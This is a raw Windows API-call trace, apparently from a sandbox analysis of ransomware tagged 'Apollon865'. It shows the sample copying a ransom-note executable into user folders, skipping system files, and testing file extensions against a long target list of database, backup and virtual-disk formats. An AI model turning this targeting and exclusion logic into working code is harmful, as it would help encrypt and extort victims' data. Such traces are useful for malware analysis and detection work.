	[0036.802] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Windows Live Mail.url" | out: lpString1="Windows Live Mail.url") returned="Windows Live Mail.url"
	[0036.802] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0036.802] lstrlenW (lpString="Apollon865") returned 10
	[0036.802] lstrcmpiW (lpString1="e Mail.url", lpString2="Apollon865") returned 1
	[0036.802] lstrlenW (lpString=".dll") returned 4
	[0036.803] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".dll") returned 1
	[0036.803] lstrlenW (lpString=".lnk") returned 4
	[0036.803] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".lnk") returned 1
	[0036.803] lstrlenW (lpString=".ini") returned 4
	[0036.803] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".ini") returned 1
	[0036.803] lstrlenW (lpString=".sys") returned 4
	[0036.803] lstrcmpiW (lpString1="Windows Live Mail.url", lpString2=".sys") returned 1
	[0036.803] lstrlenW (lpString="Windows Live Mail.url") returned 21
	[0036.803] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="Windows Live Spaces.url" | out: lpString1="Windows Live Spaces.url") returned="Windows Live Spaces.url"
	[0036.803] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0036.803] lstrlenW (lpString="Apollon865") returned 10
	[0036.803] lstrcmpiW (lpString1="Spaces.url", lpString2="Apollon865") returned 1
	[0036.803] lstrlenW (lpString=".dll") returned 4
	[0036.803] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".dll") returned 1
	[0036.803] lstrlenW (lpString=".lnk") returned 4
	[0036.803] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".lnk") returned 1
	[0036.803] lstrlenW (lpString=".ini") returned 4
	[0036.803] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".ini") returned 1
	[0036.803] lstrlenW (lpString=".sys") returned 4
	[0036.803] lstrcmpiW (lpString1="Windows Live Spaces.url", lpString2=".sys") returned 1
	[0036.803] lstrlenW (lpString="Windows Live Spaces.url") returned 23
	[0036.803] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\Default\\Favorites\\MSN Websites", iMaxLength=260 | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites"
	[0036.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bc908 | out: hHeap=0x580000) returned 1
	[0036.803] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7c88 | out: hHeap=0x580000) returned 1
	[0036.803] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites") returned 39
	[0036.803] lstrcatW (in: lpString1="", lpString2="C:\\Users\\Default\\Favorites\\MSN Websites" | out: lpString1="C:\\Users\\Default\\Favorites\\MSN Websites") returned="C:\\Users\\Default\\Favorites\\MSN Websites"
	[0036.803] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0036.803] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\default\\favorites\\msn websites\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0036.809] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0036.809] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e1d6eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e1d6eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca290
	[0036.810] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.810] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0036.810] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0036.810] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x62fa4a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2e1d6eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2e1d6eb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.810] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0036.810] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0036.810] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0036.810] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0036.810] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2e1d6eb0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2e1d6eb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0036.810] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0036.810] FindNextFileW (in: hFindFile=0x5ca290, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6346760, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x6346760, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xa2c821, ftLastWriteTime.dwHighDateTime=0x1cb8927, nFileSizeHigh=0x0, nFileSizeLow=0x85, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSN Autos.url", cAlternateFileName="MSNAUT~1.URL")) returned 1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="Apollon865.txt.exe") returned 1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".") returned 1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="..") returned 1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="windows") returned -1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="bootmgr") returned 1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="temp") returned -1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="pagefile.sys") returned -1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="boot") returned 1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ids.txt") returned 1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="ntuser.dat") returned -1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="perflogs") returned -1
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2="MSBuild") returned 1
	[0036.810] lstrlenW (lpString="MSN Autos.url") returned 13
	[0036.810] lstrlenW (lpString="C:\\Users\\Default\\Favorites\\MSN Websites\\*") returned 41
	[0036.810] lstrcpyW (in: lpString1=0x2d3e5a0, lpString2="MSN Autos.url" | out: lpString1="MSN Autos.url") returned="MSN Autos.url"
	[0036.810] lstrlenW (lpString="MSN Autos.url") returned 13
	[0036.810] lstrlenW (lpString="Apollon865") returned 10
	[0036.810] lstrcmpiW (lpString1=" Autos.url", lpString2="Apollon865") returned -1
	[0036.810] lstrlenW (lpString=".dll") returned 4
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".dll") returned 1
	[0036.810] lstrlenW (lpString=".lnk") returned 4
	[0036.810] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".lnk") returned 1
	[0036.811] lstrlenW (lpString=".ini") returned 4
	[0036.811] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".ini") returned 1
	[0036.811] lstrlenW (lpString=".sys") returned 4
	[0036.811] lstrcmpiW (lpString1="MSN Autos.url", lpString2=".sys") returned 1
	[0036.811] lstrlenW (lpString="MSN Autos.url") returned 13
	[0036.811] lstrlenW (lpString="bak") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="bak") returned 1
	[0036.811] lstrlenW (lpString="ba_") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="ba_") returned 1
	[0036.811] lstrlenW (lpString="dbb") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="dbb") returned 1
	[0036.811] lstrlenW (lpString="vmdk") returned 4
	[0036.811] lstrcmpiW (lpString1=".url", lpString2="vmdk") returned -1
	[0036.811] lstrlenW (lpString="rar") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="rar") returned 1
	[0036.811] lstrlenW (lpString="zip") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="zip") returned -1
	[0036.811] lstrlenW (lpString="tgz") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="tgz") returned 1
	[0036.811] lstrlenW (lpString="vbox") returned 4
	[0036.811] lstrcmpiW (lpString1=".url", lpString2="vbox") returned -1
	[0036.811] lstrlenW (lpString="vdi") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="vdi") returned -1
	[0036.811] lstrlenW (lpString="vhd") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="vhd") returned -1
	[0036.811] lstrlenW (lpString="vhdx") returned 4
	[0036.811] lstrcmpiW (lpString1=".url", lpString2="vhdx") returned -1
	[0036.811] lstrlenW (lpString="avhd") returned 4
	[0036.811] lstrcmpiW (lpString1=".url", lpString2="avhd") returned -1
	[0036.811] lstrlenW (lpString="db") returned 2
	[0036.811] lstrcmpiW (lpString1="rl", lpString2="db") returned 1
	[0036.811] lstrlenW (lpString="db2") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="db2") returned 1
	[0036.811] lstrlenW (lpString="db3") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="db3") returned 1
	[0036.811] lstrlenW (lpString="dbf") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="dbf") returned 1
	[0036.811] lstrlenW (lpString="mdf") returned 3
	[0036.811] lstrcmpiW (lpString1="url", lpString2="mdf") returned 1
	[0036.812] lstrlenW (lpString="mdb") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="mdb") returned 1
	[0036.812] lstrlenW (lpString="sql") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="sql") returned 1
	[0036.812] lstrlenW (lpString="sqlite") returned 6
	[0036.812] lstrcmpiW (lpString1="os.url", lpString2="sqlite") returned -1
	[0036.812] lstrlenW (lpString="sqlite3") returned 7
	[0036.812] lstrcmpiW (lpString1="tos.url", lpString2="sqlite3") returned 1
	[0036.812] lstrlenW (lpString="sqlitedb") returned 8
	[0036.812] lstrcmpiW (lpString1="utos.url", lpString2="sqlitedb") returned 1
	[0036.812] lstrlenW (lpString="xml") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="xml") returned -1
	[0036.812] lstrlenW (lpString="$er") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="$er") returned 1
	[0036.812] lstrlenW (lpString="4dd") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="4dd") returned 1
	[0036.812] lstrlenW (lpString="4dl") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="4dl") returned 1
	[0036.812] lstrlenW (lpString="^^^") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="^^^") returned 1
	[0036.812] lstrlenW (lpString="abs") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="abs") returned 1
	[0036.812] lstrlenW (lpString="abx") returned 3
	[0036.812] lstrcmpiW (lpString1="url", lpString2="abx") returned 1
	[0036.812] lstrlenW (lpString="accdb") returned 5
	[0036.812] lstrcmpiW (lpString1="s.url", lpString2="accdb") returned 1
	[0036.812] lstrlenW (lpString="accdc") returned 5
	[0036.812] lstrcmpiW (lpString1="s.url", lpString2="accdc") returned 1
	[0036.812] lstrlenW (lpString="accde") returned 5
	[0036.812] lstrcmpiW (lpString1="s.url", lpString2="accde") returned 1
	[0036.812] lstrlenW (lpString="accdr") returned 5
	[0036.812] lstrcmpiW (lpString1="s.url", lpString2="accdr") returned 1
	[0036.812] lstrlenW (lpString="accdt") returned 5
	[0036.812] lstrcmpiW (lpString1="s.url", lpString2="accdt") returned 1
	[0036.812] lstrlenW (lpString="accdw") returned 5
	[0036.812] lstrcmpiW (lpString1="s.url", lpString2="accdw") returned 1
	[0036.812] lstrlenW (lpString="accft") returned 5
	[0036.812] lstrcmpiW (lpString1="s.url", lpString2="accft") returned 1
	[0036.812] lstrlenW (lpString="adb") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.813] lstrlenW (lpString="adb") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="adb") returned 1
	[0036.813] lstrlenW (lpString="ade") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="ade") returned 1
	[0036.813] lstrlenW (lpString="adf") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="adf") returned 1
	[0036.813] lstrlenW (lpString="adn") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="adn") returned 1
	[0036.813] lstrlenW (lpString="adp") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="adp") returned 1
	[0036.813] lstrlenW (lpString="alf") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="alf") returned 1
	[0036.813] lstrlenW (lpString="ask") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="ask") returned 1
	[0036.813] lstrlenW (lpString="btr") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="btr") returned 1
	[0036.813] lstrlenW (lpString="cat") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="cat") returned 1
	[0036.813] lstrlenW (lpString="cdb") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="cdb") returned 1
	[0036.813] lstrlenW (lpString="ckp") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="ckp") returned 1
	[0036.813] lstrlenW (lpString="cma") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="cma") returned 1
	[0036.813] lstrlenW (lpString="cpd") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="cpd") returned 1
	[0036.813] lstrlenW (lpString="dacpac") returned 6
	[0036.813] lstrcmpiW (lpString1="os.url", lpString2="dacpac") returned 1
	[0036.813] lstrlenW (lpString="dad") returned 3
	[0036.813] lstrcmpiW (lpString1="url", lpString2="dad") returned 1
	[0036.813] lstrlenW (lpString="dadiagrams") returned 10
	[0036.813] lstrcmpiW (lpString1=" Autos.url", lpString2="dadiagrams") returned -1
	[0036.813] lstrlenW (lpString="daschema") returned 8
	[0036.813] lstrcmpiW (lpString1="utos.url", lpString2="daschema") returned 1
	[0036.813] lstrlenW (lpString="db-journal") returned 10
	[0036.814] lstrcmpiW (lpString1=" Autos.url", lpString2="db-journal") returned -1
	[0036.814] lstrlenW (lpString="db-shm") returned 6
	[0036.814] lstrcmpiW (lpString1="os.url", lpString2="db-shm") returned 1
	[0036.814] lstrlenW (lpString="db-wal") returned 6
	[0036.814] lstrcmpiW (lpString1="os.url", lpString2="db-wal") returned 1
	[0036.814] lstrlenW (lpString="dbc") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dbc") returned 1
	[0036.814] lstrlenW (lpString="dbs") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dbs") returned 1
	[0036.814] lstrlenW (lpString="dbt") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dbt") returned 1
	[0036.814] lstrlenW (lpString="dbv") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dbv") returned 1
	[0036.814] lstrlenW (lpString="dbx") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dbx") returned 1
	[0036.814] lstrlenW (lpString="dcb") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dcb") returned 1
	[0036.814] lstrlenW (lpString="dct") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dct") returned 1
	[0036.814] lstrlenW (lpString="dcx") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dcx") returned 1
	[0036.814] lstrlenW (lpString="ddl") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="ddl") returned 1
	[0036.814] lstrlenW (lpString="dlis") returned 4
	[0036.814] lstrcmpiW (lpString1=".url", lpString2="dlis") returned -1
	[0036.814] lstrlenW (lpString="dp1") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dp1") returned 1
	[0036.814] lstrlenW (lpString="dqy") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dqy") returned 1
	[0036.814] lstrlenW (lpString="dsk") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dsk") returned 1
	[0036.814] lstrlenW (lpString="dsn") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dsn") returned 1
	[0036.814] lstrlenW (lpString="dtsx") returned 4
	[0036.814] lstrcmpiW (lpString1=".url", lpString2="dtsx") returned -1
	[0036.814] lstrlenW (lpString="dxl") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="dxl") returned 1
	[0036.814] lstrlenW (lpString="eco") returned 3
	[0036.814] lstrcmpiW (lpString1="url", lpString2="eco") returned 1
	[0036.815] lstrlenW (lpString="ecx") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="ecx") returned 1
	[0036.815] lstrlenW (lpString="edb") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="edb") returned 1
	[0036.815] lstrlenW (lpString="epim") returned 4
	[0036.815] lstrcmpiW (lpString1=".url", lpString2="epim") returned -1
	[0036.815] lstrlenW (lpString="fcd") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fcd") returned 1
	[0036.815] lstrlenW (lpString="fdb") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fdb") returned 1
	[0036.815] lstrlenW (lpString="fic") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fic") returned 1
	[0036.815] lstrlenW (lpString="flexolibrary") returned 12
	[0036.815] lstrcmpiW (lpString1="SN Autos.url", lpString2="flexolibrary") returned 1
	[0036.815] lstrlenW (lpString="fm5") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fm5") returned 1
	[0036.815] lstrlenW (lpString="fmp") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fmp") returned 1
	[0036.815] lstrlenW (lpString="fmp12") returned 5
	[0036.815] lstrcmpiW (lpString1="s.url", lpString2="fmp12") returned 1
	[0036.815] lstrlenW (lpString="fmpsl") returned 5
	[0036.815] lstrcmpiW (lpString1="s.url", lpString2="fmpsl") returned 1
	[0036.815] lstrlenW (lpString="fol") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fol") returned 1
	[0036.815] lstrlenW (lpString="fp3") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fp3") returned 1
	[0036.815] lstrlenW (lpString="fp4") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fp4") returned 1
	[0036.815] lstrlenW (lpString="fp5") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fp5") returned 1
	[0036.815] lstrlenW (lpString="fp7") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fp7") returned 1
	[0036.815] lstrlenW (lpString="fpt") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="fpt") returned 1
	[0036.815] lstrlenW (lpString="frm") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="frm") returned 1
	[0036.815] lstrlenW (lpString="gdb") returned 3
	[0036.815] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0036.815] lstrlenW (lpString="gdb") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="gdb") returned 1
	[0036.816] lstrlenW (lpString="grdb") returned 4
	[0036.816] lstrcmpiW (lpString1=".url", lpString2="grdb") returned -1
	[0036.816] lstrlenW (lpString="gwi") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="gwi") returned 1
	[0036.816] lstrlenW (lpString="hdb") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="hdb") returned 1
	[0036.816] lstrlenW (lpString="his") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="his") returned 1
	[0036.816] lstrlenW (lpString="ib") returned 2
	[0036.816] lstrcmpiW (lpString1="rl", lpString2="ib") returned 1
	[0036.816] lstrlenW (lpString="idb") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="idb") returned 1
	[0036.816] lstrlenW (lpString="ihx") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="ihx") returned 1
	[0036.816] lstrlenW (lpString="itdb") returned 4
	[0036.816] lstrcmpiW (lpString1=".url", lpString2="itdb") returned -1
	[0036.816] lstrlenW (lpString="itw") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="itw") returned 1
	[0036.816] lstrlenW (lpString="jet") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="jet") returned 1
	[0036.816] lstrlenW (lpString="jtx") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="jtx") returned 1
	[0036.816] lstrlenW (lpString="kdb") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="kdb") returned 1
	[0036.816] lstrlenW (lpString="kexi") returned 4
	[0036.816] lstrcmpiW (lpString1=".url", lpString2="kexi") returned -1
	[0036.816] lstrlenW (lpString="kexic") returned 5
	[0036.816] lstrcmpiW (lpString1="s.url", lpString2="kexic") returned 1
	[0036.816] lstrlenW (lpString="kexis") returned 5
	[0036.816] lstrcmpiW (lpString1="s.url", lpString2="kexis") returned 1
	[0036.816] lstrlenW (lpString="lgc") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="lgc") returned 1
	[0036.816] lstrlenW (lpString="lwx") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="lwx") returned 1
	[0036.816] lstrlenW (lpString="maf") returned 3
	[0036.816] lstrcmpiW (lpString1="url", lpString2="maf") returned 1
	[0036.816] lstrlenW (lpString="maq") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="maq") returned 1
	[0036.838] lstrlenW (lpString="mar") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="mar") returned 1
	[0036.838] lstrlenW (lpString="marshal") returned 7
	[0036.838] lstrcmpiW (lpString1="tos.url", lpString2="marshal") returned 1
	[0036.838] lstrlenW (lpString="mas") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="mas") returned 1
	[0036.838] lstrlenW (lpString="mav") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="mav") returned 1
	[0036.838] lstrlenW (lpString="maw") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="maw") returned 1
	[0036.838] lstrlenW (lpString="mdbhtml") returned 7
	[0036.838] lstrcmpiW (lpString1="tos.url", lpString2="mdbhtml") returned 1
	[0036.838] lstrlenW (lpString="mdn") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="mdn") returned 1
	[0036.838] lstrlenW (lpString="mdt") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="mdt") returned 1
	[0036.838] lstrlenW (lpString="mfd") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="mfd") returned 1
	[0036.838] lstrlenW (lpString="mpd") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="mpd") returned 1
	[0036.838] lstrlenW (lpString="mrg") returned 3
	[0036.838] lstrcmpiW (lpString1="url", lpString2="mrg") returned 1
	[0036.838] lstrlenW (lpString="mud") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="mud") returned 1
	[0036.839] lstrlenW (lpString="mwb") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="mwb") returned 1
	[0036.839] lstrlenW (lpString="myd") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="myd") returned 1
	[0036.839] lstrlenW (lpString="ndf") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="ndf") returned 1
	[0036.839] lstrlenW (lpString="nnt") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="nnt") returned 1
	[0036.839] lstrlenW (lpString="nrmlib") returned 6
	[0036.839] lstrcmpiW (lpString1="os.url", lpString2="nrmlib") returned 1
	[0036.839] lstrlenW (lpString="ns2") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="ns2") returned 1
	[0036.839] lstrlenW (lpString="ns3") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="ns3") returned 1
	[0036.839] lstrlenW (lpString="ns4") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="ns4") returned 1
	[0036.839] lstrlenW (lpString="nsf") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="nsf") returned 1
	[0036.839] lstrlenW (lpString="nv") returned 2
	[0036.839] lstrcmpiW (lpString1="rl", lpString2="nv") returned 1
	[0036.839] lstrlenW (lpString="nv2") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="nv2") returned 1
	[0036.839] lstrlenW (lpString="nwdb") returned 4
	[0036.839] lstrcmpiW (lpString1=".url", lpString2="nwdb") returned -1
	[0036.839] lstrlenW (lpString="nyf") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="nyf") returned 1
	[0036.839] lstrlenW (lpString="odb") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0036.839] lstrlenW (lpString="odb") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="odb") returned 1
	[0036.839] lstrlenW (lpString="oqy") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="oqy") returned 1
	[0036.839] lstrlenW (lpString="ora") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="ora") returned 1
	[0036.839] lstrlenW (lpString="orx") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="orx") returned 1
	[0036.839] lstrlenW (lpString="owc") returned 3
	[0036.839] lstrcmpiW (lpString1="url", lpString2="owc") returned 1
	[0036.840] lstrlenW (lpString="p96") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="p96") returned 1
	[0036.840] lstrlenW (lpString="p97") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="p97") returned 1
	[0036.840] lstrlenW (lpString="pan") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="pan") returned 1
	[0036.840] lstrlenW (lpString="pdb") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="pdb") returned 1
	[0036.840] lstrlenW (lpString="pdm") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="pdm") returned 1
	[0036.840] lstrlenW (lpString="pnz") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="pnz") returned 1
	[0036.840] lstrlenW (lpString="qry") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="qry") returned 1
	[0036.840] lstrlenW (lpString="qvd") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="qvd") returned 1
	[0036.840] lstrlenW (lpString="rbf") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="rbf") returned 1
	[0036.840] lstrlenW (lpString="rctd") returned 4
	[0036.840] lstrcmpiW (lpString1=".url", lpString2="rctd") returned -1
	[0036.840] lstrlenW (lpString="rod") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="rod") returned 1
	[0036.840] lstrlenW (lpString="rodx") returned 4
	[0036.840] lstrcmpiW (lpString1=".url", lpString2="rodx") returned -1
	[0036.840] lstrlenW (lpString="rpd") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="rpd") returned 1
	[0036.840] lstrlenW (lpString="rsd") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="rsd") returned 1
	[0036.840] lstrlenW (lpString="sas7bdat") returned 8
	[0036.840] lstrcmpiW (lpString1="utos.url", lpString2="sas7bdat") returned 1
	[0036.840] lstrlenW (lpString="sbf") returned 3
	[0036.840] lstrcmpiW (lpString1="url", lpString2="sbf") returned 1
	[0036.840] lstrlenW (lpString="scx") returned 3
